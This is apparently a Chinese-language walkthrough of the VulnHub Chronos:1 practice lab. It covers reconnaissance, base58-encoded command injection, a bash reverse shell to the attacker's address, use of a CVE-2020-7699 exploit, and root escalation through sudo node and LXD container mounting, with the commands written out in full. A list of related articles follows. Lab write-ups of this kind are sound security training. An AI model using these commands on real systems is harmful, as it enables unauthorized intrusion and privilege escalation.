vulnhub靶场之Chronos:1
准备:
攻击机:虚拟机kali、本机win10。
靶机:Chronos,下载地址:https://download.vulnhub.com/chronos/Chronos.ova,下载后直接vbox打开即可。
知识点:lxd提权、node提权、dns解析、命令执行漏洞、base58解密、CVE-2020-7699漏洞。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.1.82。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.82,显示开放了22、80、8000端口,开启了ssh、http服务。

使用dirmap、dirsearch进行目录扫描,均未发现有效的目录信息。

DNS解析:
在检查:http://192.168.110.82/的源代码信息时,发现一个链接:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,观察到:chronos.local,就想到要进行dns解析。win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.110.82 chronos.local,但是访问还是显示被禁止。

bp抓包分析:
使用bp抓包访问:http://192.168.110.82/,发现在访问http://chronos.local:8000/date时,其User-Agent被修改成立Chronos,经验证这就是上面被禁止的原因。

后面直接访问:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL进行抓包并修改User-Agent为:Chronos,可以正常访问。

命令执行:
传递的加密字符串疑是base64加密,但是经过base64、base32解密均失败,最后base58解密成功,解密后信息:'+Today is %A, %B %d, %Y %H:%M:%S.',根据解密后的信息猜测应该是执行的date命令。

那我们利用&、;、|等符号来执行我们自己的命令,例如:;ls,base58加密后:Lxfc,获得当前目录信息

获取shell:
利用命令执行漏洞获取shell权限,通过执行命令:bash -c 'bash -i >& /dev/tcp/192.168.110.234/6688 0>&1'来获取shell权限,base58加密后:2cH1gSRr9UAWvT31knR5Zo6eraKZs1x1qGWATRGhQphNCQp9QsUUjujayt3uEUnorRYYh5eBnppq4,在kali端开启对6688端口的监听:nc -lvvp 6688,成功获得shell权限。


提权至imera:
在当前用户目录下进行信息查找,经过一番查找在/opt/chronos-v2/backend目录下面发现靶机上开启了第二个服务并且该服务中疑是存在文件上传漏洞。

在网上查找时发现该漏洞编号为:CVE-2020-7699,那就查找下该漏洞的exp,可以在:https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py或者https://blog.p6.is/Real-World-JS-1/等网站均可以。

将py代码下载复制下来保存到kali中,然后使用python开启http服务:python -m http.server,在把靶机中下载该文件,命令:wget http://192.168.110.234:8000/express-fileupload.py。

在kali中开启对8899端口的监听:nc -nvlp 8899,然后在靶机中执行express-fileupload.py文件,命令:python3 express-fileupload.py,成功获得imera账户的shell权限,如果未获得权限多执行几次,测试两次均是执行 三次才获得imera的shell权限。

在/home/imera账户下发现user.txt文件并读取flag信息。

提权至root-node提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,显示存在npm命令和node命令。

查找下node命令的提权方法,命令:sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})',即可获得root权限,然后在/root目录下发现root.txt文件并读取flag值。


提权至root-lxd提权:
在获得imera账户权限的时候,我们发现该账户具有lxd权限,那也可以采用lxd提权方式进行提权。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://192.168.110.234:8000/lxd/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限。
lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

补充:
在使用npm进行提权时是提权失败的。

vulnhub靶场之Chronos:1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- SQL语句中过滤条件放在on和where子句中的区别和联系
摘要: 介绍在多表关联SQL语句中,过滤条件放在on和where子句中的区别--inner join中没区别,外连接就不一样. 综述 蚂蚁金服的一道SQL面试题如下:SQL语句中,过滤条件放在on ...
- Java中一些必须要知道的东西
直接打印数组名称,得到的是数组对应的内存地址--哈希值.
- JS 模块化 - 02 Common JS 模块化规范
1 Common JS 介绍 Common JS 是模块化规范之一.每个文件都是一个作用域,文件里面定义的变量/函数都是私有的,对其他模块不可见.Common JS 规范在 Node 端和浏览器端有不 ...
- Elastic:Elastic部署架构介绍
Elastic Stack是一套完整的从数据采集,解析,分析,丰富,到搜索,检索,数据程序等一套完整的软件栈.在具体的实践中,我们应该如何搭建我们的系统呢? 下图描述了常用的Elastic Stack ...
- Solutions:网站搜索 - Elastic Site Search
- Elasticsearch集群规模和容量规划的底层逻辑
转载自: https://mp.weixin.qq.com/s?__biz=MzI2NDY1MTA3OQ==&mid=2247484628&idx=1&sn=666e416ae ...
- DevOps图示
- 【前端必会】Prettier,有了ESlint,还要Prettier
介绍 已经安装了ESLint为什么还要Prettier,主要是让ESLint专注于语法相关的验证,检查潜在问题.而代码格式化则有Prettier来接管 对比参考: https://baijiahao. ...
- 分享一个Vue实现图片水平瀑布流的插件
这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 一.需求来源 今天碰到了一个需求,需要在页面里,用水平瀑布流的方式,将一些图片进行加载,这让我突然想起我很久以前写的一篇文章<JS两 ...
- PHP全栈开发(五):PHP学习(1.基础语法)
PHP脚本在服务器上执行,然后将纯HTML的结果返回给浏览器. 听上去很厉害的样子,所以说PHP是服务器端的语言啦.HTML才是前端啦. PHP文件的默认文件扩展名是".php" ...